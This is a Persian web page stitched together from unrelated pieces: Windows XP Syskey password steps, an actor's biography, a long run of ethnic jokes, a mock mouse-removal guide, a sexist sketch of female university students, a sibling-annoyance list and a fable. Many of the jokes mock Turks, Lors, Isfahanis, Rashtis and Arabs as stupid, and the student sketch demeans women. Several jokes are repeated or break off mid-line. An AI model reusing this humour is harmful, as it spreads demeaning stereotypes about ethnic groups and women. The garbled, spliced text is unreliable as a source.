برای اضافه کردن این پسورد به ویندوزتون مراحل زیر را به ترتیب دنبال کنید :
1)در کادرRUN عبارت Syskey را تایپ کنید و بعد OK کنید .
2)در Caption ( پنجره ظاهر شده ) با عنوان Securing the Windows XP Account Database روی گزینه Update كليك كنيد.
3)حالاقسمت Password Startup را انتخاب و پسورد دلخواه خودتون رو وارد کنید و پنجره را با OK ببندید.
نکته 1 : در صورت لزوم می تو نید در قسمت System Generated Password پسورد را بر روی Floppy Disk ذخیره نمائید تا فقط با استفاده از آن دیسکت قادر به عبور باشید.
از این به بعد زمانی که سیستم روشن و یا ریبوت بشه ، پسورد امنیتی قبل از ورود به حساب های کاربری ظاهر می شود و برای ورود از شما پسورد در خواست می کند.
نکته 2 : اگر پسورد رو سه مرتبه اشتباه وارد کنید سیستم بوت می شه.
نام اصلي: محمدرضا
نام خانوادگي اصلي: گلزار
سمت (در بخش هاي): بازیگران،
تاريخ تولد: 1354
محل تولد: تهران
مليت: ایران
مدرك تحصيلي: لیسانس مکانیک
بيوگرافي
قبل از اینکه به سینما بیاید، نوازنده بود و به عنوان گیتاریست با گروه آریان همکاری می کرد. آشنایی اتفاقی اش با ایرج قادری باعث می شود تا در فیلم "سام و نرگس" بازی کند. از آن به بعد در فیلمهای "زمانه"، "بالای شهر، پایین شهر" و "شام آخر" بازی کرد که فیلم آخری زودتر از دیگر فیلمهایش به نمایش درآمد.
محمدرضا گلزار در سال 1381 در فیلمهای "بوتیک" و "چشمان سیاه" بازی و سال 1382 را با بازی در فیلم "13 گربه روی شیروانی" آغاز کرد.
شاید کسی باور نمی کرد که گلزار هم بتواند خوب بازی کند. اما او در فیلم "بوتیک" نشان داد که اگر بخواهد می تواند بازیگر موفقی باشد.
تركه ميره حموم، آب جوش بوده با نعلبكي دوش ميگيره! عربه ميره داروخونه ميگه: ولك هزار تا ميخ داري؟! يارو ميگه: نه. دوباره فردا مياد ميگه: ولك هزار تا ميخ داري؟! باز يارو ميگه: نه برادر، اينجا داروخونس، ميخ فروشي كه نيست! هي چند روز اين اتفاق ميفته، يارو با خودش ميگه: بگذار برم هزار تا ميخ بخرم، يه سود حسابي بكنم. فرداش دوباره عربه مياد ميگه: ولك هزار تا ميخ داري؟! يارو ميگه: آره، 3 تا كارتون ميخ ميگذاره جلو عربه... عربه يك نگاه ميكنه ميگه::اََاَ....ه! ولك توچقدر ميخ داري! تركه وزير مخابرات ميشه بعد از يه هفته مخابرات ورشكسته ميشه! از طرف دولت هيئتِ تحقيق تشكيلميدن، ميبينن براي رفاه حال جامعه ورداشته همه گوشيهاي تلفناي همگاني رو بيسيم كرده! تركه ساندويچفروشي داشته، يك روز يك بابايي مياد ميگه: قربون يك ككتل بده، فقط بيزحمت توش گوجه نگذار. تركه ميگه: آقا امروز اصلا گوجه نداريم، ميخواي خيارشور نگذارم؟!
به تركه ميگن چند تا بچه داري؟ ميگه 2 تا . ميپرسن: كدومش بزرگتره؟ ميگه: خوب اوليش!
تركه ميره ماه عسل، يادش ميره زنش رو ببره!
تركه دوتا دزد ميگيره، زنگ ميزنه به 220 !
زن: اگه امشب نيايي بريم خونه مامانم ديگه منو نميبيني! مرد: براي چي؟ زن: واسه اينكه چشمهاتو درميآورم! زن و شوهري به سينما رفتند. در اواخر فيلم، زن، شوهرش را صدا زد و گفت: اين كسي كه بغل دست من نشسته از اول فيلم تا حالا خواب است. مرد با ناراحتي جواب داد: به درك كه خواب است. حالا چرا منو از خواب بيدار كردي؟ تركه ميخواسته گردو بشكنه، گردو رو ميگذاره زير پاش، با آجر ميزنه تو سرش!
تركه ميره بقالي، ميبينه رو ديوار بزرگ نوشتن: علي با ماست! حسن با ماست! حسين با ماست! ميگه: ببخشيد اقا، شما ماست خالي نداريد؟!
تركه ميره آمريكا پيش رفيقش. از قضا همون موقع كنسرت ابي بوده، رفيقش ميگه پاشو بريم يك حالي بكنيم. جلو در سالن، يك بابايي واستاده بوده سيدي ميفروخته، هي داد ميزده: سيدي ابي، سيدي ابي. تركه يك نگاهي به يارو ميكنه، به رفيقش ميگه: ببين توروخدا مردم چه خنگن! اين يارو اين همه سال تو آمريكا بوده، هنوز اِي بي سي دي رو ياد نگرفته!
تركه با زنش رفته بوده سينما، تو فيلم يهو يه گاوه شروع ميكنه دويدن طرف تماشاچيا. تركه يهو ميپره زير صندلي، زنش ميگه: بابا خجالت بكش! اين فيلمه. تركه ميگه: زن! من و تو ميدونيم فيلمه، گاوه كه نميدونه!
دو تا برادره آخره شر بودن و پدر محل رو درآورده بودن، ديگه هروقت هرجا يك خراب كاريي ميشده، ملت ميدونستن زير سر اين دوتاست. خلاصه آخر بابا ننشون شاكي ميشن، ميرن پيش كشيشِ محل، ميگن: تورو خدا يكم اين بچههاي مارو نصيحت كنيد، پدر مارو درآوردن. كشيشه ميگه: باشه، ولي من زورم به جفتِ اينا نميده، بايد يكي يكي بياريدشون. خلاصه اول داداش كوچيكه رو ميارن، كشيشه ازش ميپرسه: پسرم، ميدوني خدا كجاست؟ پسره جوابشو نميده، همين جور در و ديوار ر و نگاه ميكنه. باز يارو ميپرسه: پسرجان، ميدوني خدا كجاست؟ دوباره پسره به روش نمياره. خلاصه دو سه بار كشيشه همينو ميپرسه و پسره هم بروش نمياره، آخر كشيشه شاكي ميشه، داد ميزنه: بهت گفتم خدا كجاست؟! پسره ميزنه زير گريه و در ميره تو اتاقش، در رو هم پشتش ميبنده. داداش بزرگه ازش ميپرسه: چي شده؟ پسره ميگه: بدبخت شديم! خدا گم شده، همه فكر ميكنن ما برش داشتيم!
دو ديوانه با هم گفتگو ميكردند. اولي: اگر گفتي فرق كلاغ چيه؟ دومي: خوب معلومه! اين بالش از اون بالش مساويتره!
مشتري: آقا چرا ديگه ميخواهي توي حلقم را كيسه بكشي؟ دلاك: آخه خودتون گفتين گلوتون چرك كرده! زن: من بر خلاف تو هميشه موقع شنا سرم از آب بيرونه. شوهر: آخه عزيزم، چيز سبك هميشه روي آب ميمونه! احمق كسي است كه به همه چيز اطمينان كامل داشته باشد. مطمئني؟ صددرصد! پسر كوچولو رو به مادرش كرد و گفت: من نميدانم چرا شبها كه دلم نميخواهد بخوابم به زور مرا ميفرستي بخوابم ولي صبحها كه دلم نميخواهد از خواب بيدار شوم به زور مرا بيدار ميكني؟
صاحبخانه: هر وقت ميگويم اجاره را بده، ميگويي: بگذار حقوق بگيرم، پس كي حقوق ميگيري؟ مستاجر: هر وقت كه استخدام شدم! ديوانه اولي: ببينم، مگه تو كري كه جواب سلام منو نميدي؟! ديوانه دومي: نه اون احمد داداشمه كه كره، من لالم!
آرنولد ميره آبادان، همون شب اول آبادانيه تو خيابون بهش گير ميده كه: ولك تورو جون بوات.. تو رو جون ننت، فردا ما رو تو خيابون ديدي بهم سلام كن! خلاصه اونقدر التماس ميكنه، تا آخر آرنولد قبول ميكنه. فرداش آبادانيه داشته با دو سه تا از رفيقاش تو خيابون چرخ ميزده، يهو ارنولد مياد ميگه: سلام عبود! آبادانيه ميگه: اَاهه ... باز اين سيريش اومد! از يه امريكايي و يه آفريقايي و يه ايراني می پرسن: نظرتون راجع به کوپن گوشت چيه؟آمريکايي میگه: کوپن چيه؟ آفريقايي ميگه: گوشت چيه؟ ايرانيه ميگه: نظر چيه؟! غضنفر يه نفر رو تو خيابون ديد و پرسيد: شما علي پسر ممدآقا پاسبان نيستي كه توي ابهر سر كوچه چراغي مأمور بود؟ پسر گفت: چرا!؟ غضنفر گفت: ببخشيد! عوضي گرفتم. مرد: بازهم كه پارچه خريدي؟ زن: ميخوام برات دستمال بدوزم. مرد: اين كه چهار متر پارچه است؟ زن با بقيهاش هم براي خودم يه پيرهن ميدوزم. جواد عطسه كرد. بهش گفتند: عافيت باشه. گفت: يه بار ديگه زرت و پرت كني ميزنم پك و پوز تو خورد ميكنم.
لره داشته پشت بوم خونش رو آسفالت ميكرده، آسفالت زياد مياره، سرعت گير ميذاره! تركه ميرسه، ميخورنش.
معلم: الفباي فارسي رو بگو ببينم. شاگرد: الف – ب – پ – ت – ث – چهار – پنج – شش – هفت... معلم: الفباي انگليسي رو بگو ببينم. شاگرد: ا – بي – سي – چهل – پنجاه – شصت – هفتاد... معلم: الفباي يوناني رو بگو ببينم. شاگرد: آلفا – بتا – ستا – چهارتا – پنجتا ... معلم: نخواستم بابا يه شعر بگو. شاگرد: نابرده رنج گنج – پنج – شش – هفت... ببينم، داداش شما چيكاره است؟ راننده است، «روي» ماشين بابام كار ميكنه، داداش شما چطور؟ داداش من مكانيكه، «زير» ماشين مردم كار ميكنه!
تركه نبض بيمار را گرفت و گفت: نميدانم مريض مرده يا ساعت من خوابيده! در نيويورك خانم مستر اسميت رفت پيش وكيل دادگستري و گفت: من ميخوام از شوهرم طلاق بگيرم. وكيل گفت: بسيار خوب، مانعي ندارد... فعلا دوهزار دلار بدهيد تا ترتيب كارتان را بدهيم. خانم گفت: زكي! 500 دلار ميگيرند كه او را بكشند، چرا دو هزار دلار بدهم؟
تركه عينكش را دور دستش چرخاند و بعد به چشمش زد، سرش گيج رفت، نزديك بود بيفته! تركه چهار تا قالب صابون ميخوره تا به مرز خودكفايي برسه!
تركه مرده شور بوده، بعد از يه مدتي ميگيرنش دهنش رو سرويس ميكنن. رفيقاش ميپرسن بابا مگه اين بيچاره چي كار كرده بود؟ ميگن: اين پدرسوخته سوالاي شب اول قبر رو تكثير كرده بود بين مردهها تقسيم ميكرد! غضنفر دو تا بلوك سيماني رو گذاشته بوده رو دوشش، داشته ميبرده بالاي ساختمون. صاحبكارش بهش ميگه: تو كه فرقون داري، چرا اينا رو ميگذاري رو كولت؟! غضنفر ميگه: اون دفعه با فرقون بردم، اون چرخش پشتم رو اذيت ميكرد! اصفهانيه موز میخوره معدهاش تعجب می کنه !
بهمن و علی(اصفهانی) سرباز بودن. بهمن ميميره، علی ميره برای خانواده بهمن تلگراف بزنه که بهمن مرده. مسئول تلگرافخونه میگه: هر کلمه هزار تومان، برای تاريخ و امضا هم پول نمیگيريم. علی میگه بنويس: بهمن تير خرداد مرداد ! غضنفر عقب عقب راه ميرفته، ازش ميپرسند: چرا اينجوري راه ميري؟ ميگه:آخه بچهها ميگن از پشت شبيه آلن دلوني!
به غضنفر ميگن چرا زن نميگيري؟ ميگه: اي بابا، كي مياد زنش رو بده به ما؟! باباهه (حواسش نبوده که کلاهش سرشه) به بچهاش میگه برو کلاه منو بيار. بچه میگه: بابا کلاهت که رو سرته! باباهه میگه: اه...پس...نمیخواد بری بياريش!
تركه تو مانور شركت ميكنه، اسير ميشه! تركه ميره مغازه ميگه: آقا يه بيسكويت خوب بدين. بقاله ميگه: ساقه طلايي خوبه؟ تركه ميگه نه. ميگه: ويفر خوبه؟ ميگه نه . ميگه گرجي خوبه؟ ميگه نه. ميگه: مادر خوبه؟ تركه ميگه: قربان شما، دست بوسن!
تركه ميپرسن شما تهراني هستين؟ ميگه: نه چشماتون قشنگ ميبينه!
تركه سوار اتوبوس ميشه، ميره يك گوشه واميسته. راننده بهش ميگه: آقا اين همه صندلي خالي، چرا نميشيني؟ تركه ميگه: حالا صبر كن، دو دقيقه ديگه همين يك ذره جا هم پيدا نميشه!
از تركه ميپرسن شما همتون اينقدر ساده اين؟ ميگه: نه بابا، راهراهمون تو آفريقاست!
چندنفر داشتن ميرفتن كوه، سرپرستشون (كه از قضا لكنت زبون هم داشته) از وسط راه شروع ميكنه ميگه: چ چ چ.... ملت اول يكم نگاش ميكنن ببينن چيميخواد بگه، بعد ميبينن نميتونه حرفش رو بزنه، بيخيال ميشن و راه ميافتن، اين بابا هم همه مسير همينجور هي ميگفته چ..چ..چ.. وقتي ميرسن بالا ميخواستن چادر بزنن سرپرسته بالاخره ميگه: چ..چ..چا..چا..چا..چادر يادم رفت! ملت ميگن اي بابا رودتر ميگفتي، حالا بايد برگرديم پايين! تو راه برگشت سر پرسته هي ميگفته: ش ش ش.. ولي ملت ديگه شاكي بودن و كسي توجه نميكرده، وقتي ميرسن پايين يارو بالاخره ميگه: ش..ش..ش..شو..شو..شوخي كردم!
موشه وارد داروخانه شد و گفت: آقا مرگ من داريد؟ تركه خبر داغ ميشنود، گوشش ميسوزد!
دوتا پسر حوصلهشان سر رفته بود. يكي از آنها گفت: بيا شير يا خط بيندازيم. اگر شير شد ميريم دوچرخه سواري، اگر خط شد ميريم ماهواره نگاه ميكنيم و اگر سكه روي لبهاش ايستاد ميريم درس ميخونيم! به غضنفر گفتند: ۱۷ شهريور چه روزيه؟ کمی فکر کرد و گفت: فکر می کنم ۱۵ خرداد باشه
دو نفر در طول مهماني كنار هم نشسته بودند و در طول دو ساعت يك كلمه هم با هم حرف زدند. پس از دو ساعت يكي از آنها به ديگري گفت: پيشنهاد ميكنم حالا در مورد موضوع ديگري سكوت كنيم
تركه يه بسته هزار تومني ميشمره، 250 تومن كم مياره!
به لره ميگن: ببخشيد شما لريد؟ ميگه: نه پس انم با اين سبيل پهنم؟! تركه ميگن خيلي آقايي. ميگه: ما بيشتر! از تركه ميپرسن: بلدي پيانو بزني؟! ميگه: نه. ولي يه داداش دارم... اونم نه!
يك بابايي يه ماهي تو پاكت دستش بوده، رفيقش ميبيندش، ازش ميپرسه: جريان اين ماهيه چيه؟ ميگه: دارم براي شام ميبرمش خونه. ماهيه ميگه: مرسي من شام خوردم، منو ببر سينما! به تركه ميگن چي شد ترك شدي؟! ميگه: والله من اولش كه ترك نبودم، تو بيمارستان با يه بچه ترك عوض شدم!
تركه تو اتوبوس يه دختره خوشگل رو ميبينه، پياده كه ميشه شماره اتوبوس رو بر ميداره! تركه مياد تهران، يه دختر خوشگل ميبينه، بهش ميگه: خانم اين دوست دختر كه ميگن شمايين؟!
دوتا پسر حوصلهشان سر رفته بود. يكي از آنها گفت: بيا شير يا خط بيندازيم. اگر شير شد ميريم دوچرخه سواري، اگر خط شد ميريم ماهواره نگاه ميكنيم و اگر سكه روي لبهاش ايستاد ميريم درس ميخونيم! تركه يه سكه اززير خاك پيدا ميكنه، روش نوشته بوده تاريخِ ضرب: 200 سال قبل از ميلاد!
قزوينيه ميره خونه يك ميليونره، دويست ميليون نقد ميدزده. بعد زنگ ميزنه خونه يارو ميگه: بچه رو بيارين پولارو ببرين!
يك گروه از محققين انسان شناسي داشتن روي تفاوت مغز نژادهاي مختلف انسان تحقيق ميكردند، اول مغز يك آمريكاييه رو باز ميكنند، ميبينند اي بابا اينا اينقدر با الكترونيك و كامپيوتر ور رفتن كه تو مغزشون پر شده از IC و مدارهاي الكترونيكي. خلاصه ميترسن دست به يك چيزي بزنند خراب شه، زود مغز يارو رو ميبندند. بعد مغز يك ژاپنيه رو باز ميكنند، ميبينند اي بابا اين وضعش از آمريكاييه هم خراب تره و مغزش شده پر از مداراي نوري و چيزاي عجيب غريب، خلاصه مغز اين رو هم جرات نميكنند دست بزنند. بعد جمجمه يك تركه رو باز ميكنند، ميبينند تو ش فقط يدونه سيم ازين ور جمجه رفته اونور. باخودشون ميگن: خوب ما اينو قطع ميكنيم، اگه دييدم خيلي ضايع شد، فوقش دوباره وصلش ميكنيم! خلاصه سيمه رو قطع ميكنند، يهو گوشاي تركه ميافته! تركه زنگ ميزنه 118، ميگه: ببخشيد شماره تلفن غضنفر رو دارين؟! يارو ميگه: نه. تركه ميگه: پس من ميخونم يادداشت كنين!
تركه مجري مسابقه بيست سوالي ميشه، يارو ازش ميپرسه، جانداره؟ ميگه: نه. ميپرسه: تو جيب جا ميشه؟ تركه كلي فكر ميكنه، بعد ميگه: تو جيب جا ميشه اما اگه تو جيبت بريزي، جيبت ماستي ميشه! تركه ميره حرم امام رضا، ميگه: امام رضا قربونت برم، تو كه ضامن آهو شدي، ضامن من يابو هم بشو!
تركه پسرش رو ميفرسته ژيمناستيك، بعد از يه مدتي ميبينه پسرش روز به روز جاي اينكه پيشرفت كنه هي داره پسرفت ميكنه. يك روز ميره سر جلسه تمرينشون ببينه چه خبره، ميبينه از بچش به عنوان خرك استفاده ميكنند! ترک دیش ماهوارشو می ذاره روی پشت بوم روش می نویسه کولر
ترکه زنگ میزنه ۱۲۵ میگه: ببخشید آقا یه ماشین پلیس بفرستید
بقیش و هم آدامس بدید
ترکه حاکم میشه بهش میگن حکم کن میگه پیک ترک میره جلووی آئینه می ایسته میگه آااا این چقدر آشنا برا من.
من اینو می شناسمش یه جایی دیدمش تا شب میشینه فکر می کنه
میگه:هان حالا فهمیدم اینو من دیروز توی آینه ی آرایشگاه
دیدمش
ترکه میاد و ادعای پیغمبری می کنه بهش میگن هر پیامبری که اومد یک کتابی هم آورد
مثلا حضرت محمد قرآن رو آورد حالا تو چی؟ ترکه میگه والا ما فعلا جزوه میگیم تا بعد کتاب
معرفی کنیم
ترکه می خواسته آتش نشان بشه بهش میگن خوب حالا اگه جنگل آتیش گرفت و آب نداشتیم
چی کار می کنیم ترکه میگه:تیمم می کنیم
اصفهانیه یه موز میخوره تا یک هفته نمیره دستشویی زنه حامله بوده بچه اش میاد میگه مامان این چیه توی شکمت؟مامانش میگه این یه بچه ی
نازه خوشگله مثه تووو بچه ی میگه:آاا مامان پس چرا قورتش دادی؟
پیرزنه میره همه ی دندون هاش و میکشه بجز یکی شو بهش میگن پس چرا همه ی دندون هات و کشیدی بجز این یکی و؟میگه آخه می خوام با این یکی چادرمو نگه دارم
شیطان قرص اکس میخوره مردم رو به راه راست هدایت میکنه حضرت نوح قرص اکس میخوره زیر دریایی میسازه
عنکبوته قرص اکس میخوره پالتو می بافه
پیرزنه قرص اکس میخوره میگه:من ترانه ۱۵ سال دارم
ترکه با یکی دعواش میشه طرف میگه: کره خر ترکه میگه:یعنی انقدر جوون نشون میدم؟ چی کار می کنیم ترکه میگه:تیمم می کنیم خندیدن بهش میگن چرا داری می خونی؟میگه آخه من دارم بهش فحش میدم اون داره برام قرآن می خونه دزده می خنده و میگه:گولت زدم تفنگ من الکی بود رشتیه هم می خنده و میگه منم گولت زدم اون که زنم نبود اون خواهرم بود ترکه میکنه دنبال دزده ازش جلوو میزنه
ترکه ریش بزی میذاره دچار بحران شخصیت میشه ترکه میره حرم امام رضا میگه:امام رضا تو چرا با این همه طلا هشتم شدی؟ ترکه می خواسته آتش نشان بشه بهش میگن خوب حالا اگه جنگل آتیش گرفت و آب نداشتیم به ترکه میگن میدونی فامیل خدا چیه؟میگه:نمی دونم ولی فکر کنم وکیلی باشهترکه با عربه دعواش میشه شروع می کنند به فحش دادن بعد یه دفعه ترکه شروع می کنه به دزده میره دم خونه ی رشتیه میگه یا زنت و میدی یا می کشمت.رشتیه زنش و میده
لره میره پیش خدا میگه خدایا چه جوری ثابت کنم من از ترک ها خرترم خدا میگه برو توی بیابون شروع کن به شنا کردن میره توی بیابون و شروع میکنه به شنا کردن یه دفعه میبینه ترکه با قایق
موتوری از کنارش رد میشه
يه روز ترکه ميره ميدون وليعصر ميبينه يارو داره
ميگه سي دي ابي ، سي دي ابي
ترکه ميره جلو ميگه : اوي اد ، سي دي ابي که نه
اي بي سي دي
دو تا كرم آباداني تو روده يك بدبختي زندگي مي كردن، يك روز يكيشون بيدار ميشه، ميبينه دومي با كت شلوار و كروات و
عينك آفتابي و كيف سامسونت داره آخر روده قدم ميرنه. .ازش ميپرسه: تيپ زدي، با كسي قرار داري؟! دومي ميگه: نه ولك, با
گوز بعدي پرواز دارم!!!
ترکه میره نماز جمعه جو میگیرش موج مکزیکی میره ترکه میره رو پشت بوم می خوابه سردش میشه میره در رو میبنده
ترکه باباش آتیش میگیره جو میگیرش از روش می پره ترکه زنگ میزنه تاکسی سرویس میگه ببخشید آقا شما ماشین دارید؟طرف میگه بله
ترکه میگه خوش به حالتون ما نداریم
ترکه پشت بومش را آسفالت میکنه ۲،۳ تا هم دست انداز میذاره
تركه ميخواسته به فلسطينيا كمك كنه، براشون سنگ پست ميكنه! به محض مشاهده موش در اتاق ، يكي از اقدامات زير را انجام دهيد :
بند 1- روش كاملا دانشجويي :
پس از هماهنگي با هم اتاقيهايتان با كشيدن يك جيغ بلند ، دسته جمعي در را بازكرده از اتاق خارج شويد و ديگر هرگز به آن اتاق بازنگرديد.
بند 2- روش سرخپوستي :
مقداري وسايل قابل اشتعال وسط اتاق جمع كرده ، آتش بزنيد تا موش با دود آن خفه شود . سپس موارد بند (1) را انجام دهيد .
بند 3- روش معرفتي :
به موش بگوييد در صورت عدم خروج وي خودكشي خواهيد كرد . اگر با معرفت باشد از اتاق خارج خواهدشد . در غير اين صورت موارد بند (1) را انجام دهيد .
بند 4- روش تعارفي :
به موش تعارف كنيد كه امشب را پيش شما بماند . احتمالا شرمنده شده و تعارف شما را نميپذيرد . دزصورتيكه تعارف را پذيرفت بند (1) را اجرا كنيد.
بند 5- روش قبيله گامبالا :
تعدادي سلاح سرد تهيه كرده و به موش اعلان جنگ كنيد . در صورتيكه موش نامبرده حرفهاي بوده و اين حرف را جدي نگرفت بند (1) را انجام دهيد .
بند 6- روش دموكراتيك :
پس از شرح فوايد گفتمان براي موش ، از او خواهش كنيد اتاق را ترك كند . اگر موش قبول نكرد بند (1) را انجام دهيد.
بند 7- روش نه چندان دانشجويي :
يكي از گربه هايي كه دركوچه دنبال غذا ميگردند را براي شام به منزل خوددعوت كنيد . در صورت موفقيت گربه در خوردن موش ، از او بخواهيد از اتاق خارج شود . در صورت عدم موافقت گربه بدنبال راهي براي خارج كردن گربه باشيد ( مطلب نحوه خروج گربه به زودي منتشر ميگردد ) .
بند 8- روش كمپينگ :
در ميان دوستانتان هر كدام كه خانه شان بهتر است را انتخاب كرده و به صورت دسته جمعي تا آخر ترم به خانه آنها برويد . در صورتيكه در خانه آنها هم موش مشاهده شد به بند (1) مراجعه كنيد.
بند 9- روش روانشناسي :
به كارهاي روزانه خود پرداخته و به موش بي محلي كنيد . او احتمالا ناراحت شده و خارج خواهد شد. در صورتيكه اين هم جواب نداد راهي جز مراجعه به بند (10) براي شما باقي نمانده است.
بند 10- روش فاشيستي :
مقداري از كباب سلف دانشگاه را در مسير او قرار دهيد تا از آن بخورد . اين روش احتمال خطا ندارد . موش حتما خواهد مرد و اصلا نيازي به مراجعه به بند (1) نداريد.
خصوصیات دانشجویان دختر:
ترم 1- اصولاً وقتی به آنها بگویید با سه حرف پ- س – ر یک کلمه معنی دار بسازید مخ آنها ERROR میدهد! چون فکر میکنند تنها دانشجوی این مملکت هستند عمراً کسی را تحویل نمیگیرند. و تا وقتی که قبل از اسمشان کلمه مهندس و دکتر را به کار نبرید جوابتان را نمی دهند! {پیشنهاد میکنم که در دختران ترم یکی (صفری) به دنبال GF نباشید چون اولاً پا نمدهند و ثانیاً اگر حتی یکی از این دختران برای دوستی پا بدهد(یکی در هر 10 میلیون سال)همه به شما به چشم یک همجنس باز نگاه خواهند کرد !} فقط برای عملیات قضای حاجت به WC می روند.طولانی ترین مسیری را که طی میکنند مسیر دانشگاه تا خانه می باشد.به پسران همکلاسی به چشم خواستگار نگاه می کنند.تمام کتب ترم اول را می خرند و با دقت جلد میگیرند.سوژه خنده دانشجویان ترم بالایی هستند. وقتی به آنها سلام میکنید به چشم یک مزاحم خیابانی به شما نگاه میکنند!(بی جنبن دیگه!!!) در فاصله بین کلاسها نان و پنیر دستپخت مادر را میل میکنند تا انرژی بگیرند!
ترم 2 – همچنان قادر به ساختن کلمات معنی دار نمیباشند! متوجه میشوند به غیر از آنها افراد دیگری نیز به اسم دانشجو تو این مملکت هستند! به مقدار بسیار ناچیز از قطر ابروها کاسته میشودولی سیبیل جزیی از اعضای ثابت بدن می باشد.سر کلاس متوجه موجوداتی عجیب و غریب میشوند اما اسم آنها را نمی دانند.کماکان مسیر دانشگاه تا خانه بدون هیچ کم و کاستی طی میشود.نیمی از کتاب های ترم را میخرند و نیمه دیگر را از کتابخانه میگیرند.اگر به آنها سلام کنید در جواب زمزمه نامفهومی میشنوید با این مضمون:سلام علیکم ورحمة الله و برکاته! دو- سه بار از جلوی تریای دانشکده رد میشوند اما جرأت داخل شدن را ندارند!(استغفرالله)
ترم 3 - به معنای واژه پسر پی می برند و با ماهیت آن موجودات عجیب و غریب آشنا می شوند.به این نکته حیاتی پی می برند که تنها استفاده WC قضای حاجت نیست!!!سوژه خنده پیدا می کنند.همه کتابها را از کتابخانه می گیرند و متوجه میشوند که تا 4 جلسه میتوانند سر کلاس غیبت کنند.می فهمند که شهر خیلی بزرگ است و غیر از خانه شان جاهای دیگری هم دارد! تریا دانشکده تبدیل به پاتوق آنها میشود.در جواب سلام شما میگویند سلام!
ترم 4 – با واژه BF آشنا میشوند اما راه و رسم تور کردنش را بلد نیستند.ابروها نازک میشودو سیبیل ناپدید!در ساعت های استراحت بین کلاسها و حتی وسط کلاس ها به WC میروند!!!همیشه در دانشگاه از قسمتهای "پر پسر" عبور میکنند.شروع میکنند به پرسیدن آدرس از پسرای خوش تیپ دانشگاه!(نکته:اگر دیدید که جلوی در آموزش یه دختر ازتون آدرس آموزش رو پرسید پس: 1- دختره ترم 4 درس میخونه.2-شما خوشتیپید!.3 – یالا مخشو بزن دیگه چلمن!)
شروع میکنن به نوشتن جزوه !هر 2-3 شب یکبار به خانه میروند برای حاضری و به خاطر غر زدن های مامان بابا.(خوب پدر مادرن دیگه دلشون تنگ میشه شما به بزرگی خودتون ببخشید!) و تعویض لباس و بقیه روز ها خونه دوستشون درس میخونن!(آره جون خودت .بیچاره پدر ,مادره خبر نداره خوابگاه دخترا بغل خوابگاه پسراست!!!!) در جواب سلام شما میگویند:سلام.چطوری؟خوبی؟
ترم 5 –یکی از این موجودات خوش خط و خال (BF ) را بدست می آورند اما چون تازه کار هستند بامبول های زیادی سرشان پیاده میشود!اصلاً سر کلاسها نمی روند و از دانشگاه فقط با WC کار دارند!چون BF دارند دیگه احدی را تحویل نمیگیرند و درست مثل ترم یک میشوند( چون این دفعه فکر میکنن فقط خودشونن که BF دارند و آسمان باز شده این پسره افتاده تو بغل اینا! =آخر بی جنبگی)کوتاهترین مسیری را که طی میکنند مسیر دانشگاه به کافی شاپ و سپس خانه میباشد.از چهره مردانه گذشته تنها خاطره ای باقی مانده است!(اینجاست که میگن مردونگی مرده!!!) به دلیل افزایش آرایشات روی صورتشون اضافه وزن می آورند و برای جبران آن از مقدار شلوار و مانتو شان کم میکنند!یک میز اختصاصی برای خودشان و BF شان در تریا دانشکده رزرو است!تابلو میشوند.کارکنان حراست دانشگاه آنها را به اسم کوچک می شناسند.سند کمیته انضباطی را به نامشان میکنند!
در جواب سلام شما (بعد از 10 دقیقه!) می گویند:اوا سلام ببخشید حواسم نبود(طرف داره عاشق میشه و حواسش یه جای دیگست....خاک بر سرت!)
ترم 6 – خیلی تابلو میشوند!عاشق میشوند! مورد سوءاستفاده قرار میگیرند!مشروط میشوند!!!
ترم 7 – به طرز وحشتناکی تابلو میشوند! در عشق شکست میخورند!مشروط میشوند!
ترم 8– دوباره آدم میشوند.دیگر تابلو نیستند چون جوانان مستعد دیگری جای آنها را میگیرند(من لذت می برم میبینم این جوونا.......!)جای جای دانشگاه برایشان خاطره انگیز است.مثل بچه آدم این ترم درس میخوانند ولی فارغ نمیشوند.در به در دنبال شوهر میگردند.
نکته مهم 
:
ترم ۹- چون کلاس تو ۹ ترمه شدنه تازه دو سه ترم هم مشروط شدن .پس این ترم هم درس می خونند و فارغ میشن...
بعد از دانشگاه: ازدواج میکنند و رخت بچه میشورند
2- شب چراغ را روشن بگذارييد و بگوييد درس دارم.
3- غذا را با دهان باز بجويد.
4- پول توجيبي آنها ر از پدر و مادرتان بگيرييد و بگوييد به آنها ميدهم بعد ندهيد.
5- سر غذا از استفراغ دوستتان سر كلاس بگوييد.
6- ليوان پر از آب آنها را برداريد.
7- كتابهاي آنها را به دوستانتان بدهيد.
8- كتابهاي آنها را خط خطي كنيد.
9- هرگز از كار بدي كه انجام داه ايد عذر خواهي نكنيد.
10- سعي كنيد چاقي دوستتان را به بزرگي آنها مثال بزنيد.
11- كتاب درسي روزانه ي آنها را اشتباهي با خود به مدرسه ببريد.
12- از همه كارهاي آنها عيب بگيريد.
13- سوالهاي رياضي خود را از آنها بپرسيد....(سخت ها را ).
14- موقع مواخذه شدن توسط پدر يا مادرتان آنها را مقصر بدانيد.
15- خوراكي آنها را بخوريد.
16- آهنگهايي كه آنها از آن متنفر هستند را گوش بدهيد.
17- از وسايل آنها استفاده كنيد...( بدون اجازه).
18- در تابستان ها شبها روي آنها پتو بيندازيد.
19- در تابستان ها كولر را خاموش كنيد و بگوييد آنها خاموش كرده اند.
20- روزهاي جمعه كه آنها خوابند ساعت كوك كنيد.
21- در مواقع حساس فيلم به طور اتفاقي كانال را عوض كنيد.
22- وسايل مورد علاقه آنها را استفاده كنيد و به طور اتفاقي خراب كنيد.
23- از اسپري آنها استفاده كنيد.
24- دفتر چه خاطرات آنها را بخوانيد.
25- اداي آنها را در بياوريد (بايد با صدايآنها باشد تا عمل كند).
26- وقتي كه كتاب مي خوانند چراغ را خاموش كنيد.
27- از آنها پيش پدر و مادر شكايت كنيد.
28-آنها را از ديدن فيلم مورد علاقه منع كنيد.
29- وقتي در دستشويي هستند در را محكم بزنيد و بگوييد فوري است.
30- وقتي ژل زده اند آب روي آنها بريزيد.
هيزم شکن گفت که تبرم توي رودخونه افتاده. فرشته رفت و با يه تبر طلايي برگشت."آيا اين تبر توست؟"هيزم شکن جواب داد :"نه".
فرشته دوباره به زير آب رفت و اين بار با يه تبر نقره اي برگشت و پرسيد که آيا اين تبر توست؟ دوباره، هيزم شکن جواب داد :"نه".
فرشته باز هم به زير آب رفت و اين بار با يه تبر آهني برگشت و پرسيد آيا اين تبر توست؟ جواب داد:"آره".فرشته از صداقت مرد خوشحال شد و هر سه تبر را به او داد و هيزم شکن خوشحال روانه خونه شد.
